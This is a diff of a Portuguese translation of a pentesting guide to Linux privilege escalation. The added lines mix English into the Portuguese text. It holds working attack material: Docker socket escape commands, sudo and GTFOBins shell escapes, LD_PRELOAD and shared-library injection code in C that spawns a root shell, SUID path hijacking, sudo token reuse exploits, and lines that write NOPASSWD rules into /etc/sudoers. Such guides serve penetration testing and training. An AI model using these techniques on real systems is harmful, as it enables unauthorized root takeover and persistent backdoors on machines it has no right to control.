reiniciada.**\ -_Observe que o sistema deve estar usando essa configuração de arquivo socket ou o backdoor não será executado_ +Se encontrar um arquivo `.socket` **escritível**, você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ +_Observe que o sistema deve estar usando essa configuração de arquivo `.socket` ou o backdoor não será executado_ -### Sockets graváveis +### Writable sockets -Se você **identificar algum socket gravável** (_agora estamos falando sobre Sockets Unix e não sobre os arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. +Se você **identificar qualquer socket gravável** (_agora estamos falando sobre Unix Sockets e não sobre os arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e possivelmente explorar uma vulnerabilidade. -### Enumerar Sockets Unix +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` -### Conexão bruta +### Conexão raw ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -473,57 +471,57 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exemplo de exploração:** +**Exploitation example:** {{#ref}} socket-command-injection.md {{#endref}} -### Sockets HTTP +### HTTP sockets -Note que pode haver alguns **sockets ouvindo por requisições HTTP** (_não estou falando sobre arquivos .socket, mas os arquivos que atuam como sockets unix_). Você pode verificar isso com: +Observe que pode haver alguns **sockets listening for HTTP** requisições (_Não estou me referindo aos .socket files mas aos arquivos que atuam como unix sockets_). Você pode verificar isso com: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Se o socket **responder com uma requisição HTTP**, então você pode **comunicar-se** com ele e talvez **explorar alguma vulnerabilidade**. +Se o socket **responder a uma requisição HTTP**, então você pode **comunicar-se** com ele e talvez **exploit some vulnerability**. -### Socket Docker Gravável +### Docker Socket Gravável -O socket Docker, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e membros do grupo `docker`. Possuir acesso de gravação a este socket pode levar à escalada de privilégios. Aqui está uma análise de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. +O Docker socket, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e pelos membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar a privilege escalation. Aqui está um resumo de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. -#### **Escalada de Privilégios com Docker CLI** +#### **Privilege Escalation with Docker CLI** -Se você tiver acesso de gravação ao socket Docker, pode escalar privilégios usando os seguintes comandos: +Se você tem acesso de escrita ao Docker socket, você pode escalate privileges usando os seguintes comandos: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Esses comandos permitem que você execute um contêiner com acesso de nível root ao sistema de arquivos do host. +Esses comandos permitem executar um container com acesso de root ao sistema de arquivos do host. -#### **Usando a API do Docker Diretamente** +#### **Using Docker API Directly** -Em casos onde o Docker CLI não está disponível, o socket do Docker ainda pode ser manipulado usando a API do Docker e comandos `curl`. +Em casos onde o Docker CLI não está disponível, o Docker socket ainda pode ser manipulado usando o Docker API e comandos `curl`. -1. **Listar Imagens do Docker:** Recupere a lista de imagens disponíveis. +1. **List Docker Images:** Recupere a lista de imagens disponíveis. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Criar um Contêiner:** Envie uma solicitação para criar um contêiner que monta o diretório raiz do sistema host. +2. **Create a Container:** Envie uma requisição para criar um container que monte o diretório raiz do sistema host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Inicie o contêiner recém-criado: +Inicie o container recém-criado: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Anexar ao Contêiner:** Use `socat` para estabelecer uma conexão com o contêiner, permitindo a execução de comandos dentro dele. +3. **Attach to the Container:** Use `socat` para estabelecer uma conexão com o container, permitindo a execução de comandos dentro dele. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -533,29 +531,32 @@ Connection: Upgrade Upgrade: tcp ``` -Após configurar a conexão `socat`, você pode executar comandos diretamente no contêiner com acesso de nível root ao sistema de arquivos do host. +Após configurar a conexão `socat`, você pode executar comandos diretamente no container com acesso de root ao sistema de arquivos do host. -### Outros +### Others -Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**API do docker estiver ouvindo em uma porta**, você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Observe que, se você tiver permissões de escrita sobre o docker socket porque está **dentro do grupo `docker`**, você tem [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Se a [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). + +Check **more ways to break out from docker or abuse it to escalate privileges** in: -Verifique **mais maneiras de escapar do docker ou abusar dele para escalar privilégios** em: {{#ref}} docker-security/ {{#endref}} -## Escalação de privilégios do Containerd (ctr) +## Containerd (ctr) privilege escalation + +Se você descobrir que pode usar o comando **`ctr`**, leia a página a seguir, pois **pode ser possível abusar dele para escalar privilégios**: -Se você descobrir que pode usar o comando **`ctr`**, leia a página a seguir, pois **você pode ser capaz de abusar dele para escalar privilégios**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **Escalação de privilégios do RunC** +## **RunC** privilege escalation + +Se você descobrir que pode usar o comando **`runc`**, leia a página a seguir, pois **pode ser possível abusar dele para escalar privilégios**: -Se você descobrir que pode usar o comando **`runc`**, leia a página a seguir, pois **você pode ser capaz de abusar dele para escalar privilégios**: {{#ref}} runc-privilege-escalation.md @@ -563,15 +564,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus é um sofisticado **sistema de Comunicação Interprocessos (IPC)** que permite que aplicativos interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicativos. +D-Bus é um sofisticado **inter-Process Communication (IPC) system** que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado para o sistema Linux moderno, oferece um framework robusto para diferentes formas de comunicação entre aplicações. -O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, reminiscentes de **sockets de domínio UNIX aprimorados**. Além disso, ajuda na transmissão de eventos ou sinais, promovendo uma integração perfeita entre os componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode fazer um reprodutor de música silenciar, melhorando a experiência do usuário. Além disso, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviços e invocações de métodos entre aplicativos, agilizando processos que eram tradicionalmente complexos. +O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, reminiscente de **enhanced UNIX domain sockets**. Além disso, auxilia na transmissão de eventos ou sinais, fomentando integração entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode instruir um player de música a silenciar, melhorando a experiência do usuário. Adicionalmente, o D-Bus suporta um sistema de objetos remotos, simplificando requisições de serviço e invocações de métodos entre aplicações, racionalizando processos que antes eram complexos. -O D-Bus opera em um **modelo de permitir/negar**, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política correspondentes. Essas políticas especificam interações com o barramento, permitindo potencialmente a escalada de privilégios através da exploração dessas permissões. +D-Bus opera em um **allow/deny model**, gerenciando permissões de mensagens (chamadas de método, emissão de sinais, etc.) com base no efeito cumulativo de regras de política que correspondem. Essas políticas especificam interações com o bus, potencialmente permitindo escalonamento de privilégios através da exploração dessas permissões. -Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`. +Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root para possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`. -Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto políticas de contexto "padrão" se aplicam a todos que não estão cobertos por outras políticas específicas. +Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto políticas no contexto "default" se aplicam a todos que não são cobertos por outras políticas específicas. ```xml @@ -616,14 +617,14 @@ lsof -i ``` ### Portas abertas -Sempre verifique os serviços de rede em execução na máquina com a qual você não conseguiu interagir antes de acessá-la: +Sempre verifique os serviços de rede em execução na máquina com os quais você não conseguiu interagir antes de acessá-la: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Verifique se você pode capturar o tráfego. Se você puder, poderá conseguir algumas credenciais. +Verifique se você consegue sniff traffic. Se conseguir, poderá capturar algumas credenciais. ``` timeout 1 tcpdump ``` @@ -631,7 +632,7 @@ timeout 1 tcpdump ### Enumeração Genérica -Verifique **quem** você é, quais **privilegios** você tem, quais **usuários** estão nos sistemas, quais podem **fazer login** e quais têm **privilegios de root:** +Verifique **quem** você é, quais **privilégios** você tem, quais **usuários** estão nos sistemas, quais podem **login** e quais têm **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -653,12 +654,12 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### UID grande -Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais informações: [aqui](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [aqui](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) e [aqui](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** usando: **`systemd-run -t /bin/bash`** +Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploitar** usando: **`systemd-run -t /bin/bash`** -### Groups +### Grupos Verifique se você é **membro de algum grupo** que poderia conceder privilégios de root: @@ -667,9 +668,9 @@ Verifique se você é **membro de algum grupo** que poderia conceder privilégio interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### Área de transferência -Verifique se há algo interessante localizado dentro da área de transferência (se possível) +Verifique se há algo interessante na área de transferência (se possível) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -680,33 +681,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Política de Senha +### Política de Senhas ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` ### Senhas conhecidas -Se você **sabe alguma senha** do ambiente **tente fazer login como cada usuário** usando a senha. +Se você **sabe alguma senha** do ambiente **tente fazer login como cada usuário** usando essa senha. ### Su Brute -Se não se importar em fazer muito barulho e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar forçar a entrada de usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta forçar a entrada de usuários. +Se você não se importa em gerar muito ruído e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar brute-forcear usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-forcear usuários. -## Abusos de PATH gravável +## Abusos do $PATH gravável ### $PATH -Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH. +Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** pode ser capaz de escalar privilégios **criando uma backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta localizada antes** da sua pasta gravável no $PATH. -### SUDO e SUID +### SUDO and SUID -Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o bit suid. Verifique usando: +Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o suid bit. Verifique isso usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Alguns **comandos inesperados permitem que você leia e/ou escreva arquivos ou até mesmo execute um comando.** Por exemplo: +Alguns **comandos inesperados permitem que você leia e/ou escreva arquivos ou até execute um comando.** Por exemplo: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -717,31 +718,31 @@ less>! ``` ### NOPASSWD -A configuração do Sudo pode permitir que um usuário execute alguns comandos com os privilégios de outro usuário sem conhecer a senha. +A configuração do sudo pode permitir que um usuário execute algum comando com os privilégios de outro usuário sem saber a senha. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Neste exemplo, o usuário `demo` pode executar `vim` como `root`, agora é trivial obter um shell adicionando uma chave ssh no diretório root ou chamando `sh`. +Neste exemplo, o usuário `demo` pode executar `vim` como `root`; agora é trivial obter um shell adicionando uma ssh key ao diretório `root` ou executando `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Esta diretiva permite que o usuário **defina uma variável de ambiente** enquanto executa algo: +Esta diretiva permite ao usuário **definir uma variável de ambiente** enquanto executa algo: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Este exemplo, **baseado na máquina HTB Admirer**, era **vulnerável** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária enquanto executava o script como root: +Este exemplo, **baseado na máquina HTB Admirer**, estava **vulnerável** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária ao executar o script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo execution bypassing paths +### Sudo: contornando caminhos de execução -**Salte** para ler outros arquivos ou use **symlinks**. Por exemplo, no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** para ler outros arquivos ou usar **symlinks**. Por exemplo, no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -758,43 +759,43 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contramedidas**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Comando Sudo/Binário SUID sem caminho de comando +### Comando Sudo/Binário SUID sem caminho do comando -Se a **permissão sudo** for concedida a um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-lo alterando a variável PATH +Se a **permissão sudo** for dada a um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_, você pode explorá-la alterando a variável PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Essa técnica também pode ser usada se um **suid** binário **executar outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**. +Esta técnica também pode ser usada se um binário **suid** **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**. -[Exemplos de payloads para executar.](payloads-to-execute.md) +[Payload examples to execute.](payloads-to-execute.md) -### Binário SUID com caminho de comando +### Binário SUID com caminho do comando -Se o binário **suid** **executar outro comando especificando o caminho**, então, você pode tentar **exportar uma função** nomeada como o comando que o arquivo suid está chamando. +Se o binário **suid** **executa outro comando especificando o caminho**, então, você pode tentar **exportar uma função** com o nome do comando que o arquivo suid está chamando. -Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_, você deve tentar criar a função e exportá-la: +Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você deve tentar criar a função e exportá-la: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Então, quando você chama o binário suid, esta função será executada +Então, quando você chamar o binário suid, essa função será executada ### LD_PRELOAD & **LD_LIBRARY_PATH** -A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so files) a serem carregadas pelo carregador antes de todas as outras, incluindo a biblioteca C padrão (`libc.so`). Este processo é conhecido como pré-carregamento de uma biblioteca. +A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so) a serem carregadas pelo carregador antes de todas as outras, incluindo a biblioteca padrão C (`libc.so`). Esse processo é conhecido como pré-carregamento de uma biblioteca. -No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, particularmente com executáveis **suid/sgid**, o sistema impõe certas condições: +No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, especialmente em executáveis **suid/sgid**, o sistema aplica certas condições: -- O carregador ignora **LD_PRELOAD** para executáveis onde o ID de usuário real (_ruid_) não corresponde ao ID de usuário efetivo (_euid_). -- Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também são suid/sgid são pré-carregadas. +- O carregador ignora **LD_PRELOAD** para executáveis onde o identificador real do usuário (_ruid_) não coincide com o identificador efetivo do usuário (_euid_). +- Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também sejam suid/sgid são pré-carregadas. -A escalada de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a declaração **env_keep+=LD_PRELOAD**. Esta configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. +A escalada de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a instrução **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. ``` Defaults env_keep += LD_PRELOAD ``` -Salve como **/tmp/pe.c** +Salvar como **/tmp/pe.c** ```c #include #include @@ -807,17 +808,17 @@ setuid(0); system("/bin/bash"); } ``` -Então **compile-o** usando: +Em seguida, **compile-o** usando: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Finalmente, **escalar privilégios** executando +Finalmente, **escalate privileges** executando ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Um privesc semelhante pode ser abusado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas. +> Uma privesc similar pode ser explorada se o atacante controlar a **LD_LIBRARY_PATH** env variable, porque ele controla o caminho onde as bibliotecas serão procuradas. ```c #include #include @@ -839,13 +840,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Ao encontrar um binário com permissões **SUID** que parece incomum, é uma boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: +Ao encontrar um binário com permissões **SUID** que pareça incomum, é uma boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere um potencial para exploração. +Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere um potencial de exploração. -Para explorar isso, deve-se prosseguir criando um arquivo C, digamos _"/path/to/.config/libcalc.c"_, contendo o seguinte código: +Para explorar isso, deve-se criar um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o seguinte código: ```c #include #include @@ -858,13 +859,13 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); ``` Este código, uma vez compilado e executado, tem como objetivo elevar privilégios manipulando permissões de arquivo e executando um shell com privilégios elevados. -Compile o arquivo C acima em um arquivo de objeto compartilhado (.so) com: +Compile o arquivo C acima em um shared object (.so) com: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Finalmente, executar o binário SUID afetado deve acionar a exploração, permitindo uma possível comprometimento do sistema. +Finalmente, executar o binário SUID afetado deve acionar o exploit, permitindo um possível comprometimento do sistema. -## Sequestro de Objeto Compartilhado +## Shared Object Hijacking ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -874,7 +875,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Agora que encontramos um binário SUID carregando uma biblioteca de uma pasta onde podemos escrever, vamos criar a biblioteca nessa pasta com o nome necessário: +Agora que encontramos um SUID binary que carrega uma biblioteca de uma pasta onde podemos escrever, vamos criar a biblioteca nessa pasta com o nome necessário: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -891,13 +892,13 @@ Se você receber um erro como ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -isso significa que a biblioteca que você gerou precisa ter uma função chamada `a_function_name`. +that means that the library you have generated need to have a function called `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos em que você pode **apenas injetar argumentos** em um comando. +[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando. -O projeto coleta funções legítimas de binários Unix que podem ser abusadas para sair de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar shells bind e reverse, e facilitar outras tarefas de pós-exploração. +O projeto reúne funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, spawnar bind e reverse shells, e facilitar outras tarefas de pós-exploração. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -916,60 +917,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -Se você pode acessar `sudo -l`, pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se encontra uma maneira de explorar qualquer regra do sudo. +Se você conseguir acessar `sudo -l` pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra como explorar alguma regra do sudo. -### Reutilizando Tokens do Sudo +### Reutilizando tokens do sudo -Em casos onde você tem **acesso ao sudo** mas não a senha, você pode escalar privilégios **esperando pela execução de um comando sudo e então sequestrando o token da sessão**. +Em casos onde você tem **acesso ao sudo** mas não a senha, você pode escalar privilégios esperando a execução de um comando sudo e então sequestrando o token de sessão. Requisitos para escalar privilégios: - Você já tem um shell como usuário "_sampleuser_" -- "_sampleuser_" **usou `sudo`** para executar algo nos **últimos 15 minutos** (por padrão, essa é a duração do token do sudo que nos permite usar `sudo` sem introduzir nenhuma senha) +- "_sampleuser_" tenha **usado `sudo`** para executar algo nos **últimos 15 minutos** (por padrão essa é a duração do token do sudo que nos permite usar `sudo` sem digitar nenhuma senha) - `cat /proc/sys/kernel/yama/ptrace_scope` é 0 -- `gdb` é acessível (você pode ser capaz de carregá-lo) +- `gdb` esteja acessível (você pode conseguir fazer upload dele) (Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token do sudo na sua sessão** (você não obterá automaticamente um shell root, faça `sudo su`): +- O **primeiro exploit** (`exploit.sh`) irá criar o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token do sudo na sua sessão** (você não obterá automaticamente um shell root, execute `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- O **segundo exploit** (`exploit_v2.sh`) criará um shell sh em _/tmp_ **possuído pelo root com setuid** +- O **segundo exploit** (`exploit_v2.sh`) criará um shell sh em _/tmp_ **de propriedade do root com setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- O **terceiro exploit** (`exploit_v3.sh`) irá **criar um arquivo sudoers** que torna **os tokens sudo eternos e permite que todos os usuários usem sudo** +- O **terceiro exploit** (`exploit_v3.sh`) irá **criar um arquivo sudoers** que torna os **sudo tokens eternos e permite que todos os usuários usem sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Se você tiver **permissões de escrita** na pasta ou em qualquer um dos arquivos criados dentro da pasta, você pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um token sudo para um usuário e PID**.\ -Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e você tiver um shell como esse usuário com PID 1234, você pode **obter privilégios sudo** sem precisar saber a senha fazendo: +Se você tiver **permissões de escrita** no diretório ou em qualquer um dos arquivos criados dentro do diretório, você pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um token sudo para um usuário e PID**.\ +Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e tiver um shell como esse usuário com PID 1234, você pode **obter privilégios sudo** sem precisar saber a senha fazendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d O arquivo `/etc/sudoers` e os arquivos dentro de `/etc/sudoers.d` configuram quem pode usar `sudo` e como. Esses arquivos **por padrão só podem ser lidos pelo usuário root e pelo grupo root**.\ -**Se** você puder **ler** este arquivo, poderá **obter algumas informações interessantes**, e se você puder **escrever** em qualquer arquivo, conseguirá **escalar privilégios**. +**Se** você puder **ler** este arquivo, pode conseguir **obter informações interessantes**, e se você puder **escrever** em qualquer arquivo, será capaz de **elevar privilégios**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Se você pode escrever, pode abusar dessa permissão. +Se você consegue escrever, pode abusar dessa permissão ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Outra maneira de abusar dessas permissões: +Outra forma de abusar dessas permissões: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -978,15 +979,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Existem algumas alternativas ao binário `sudo`, como `doas` para OpenBSD, lembre-se de verificar sua configuração em `/etc/doas.conf` +Existem algumas alternativas ao binário `sudo`, como o `doas` do OpenBSD; lembre-se de verificar sua configuração em `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se você sabe que um **usuário geralmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell dentro desse contexto de usuário, você pode **criar um novo executável sudo** que executará seu código como root e, em seguida, o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo, adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. +Se souber que um **usuário normalmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell nesse contexto de usuário, pode **criar um novo executável sudo** que irá executar seu código como root e depois o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. -Observe que, se o usuário usar um shell diferente (não bash), você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Note que se o usuário usa um shell diferente (não bash) você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Ou executando algo como: ```bash @@ -1003,16 +1004,16 @@ 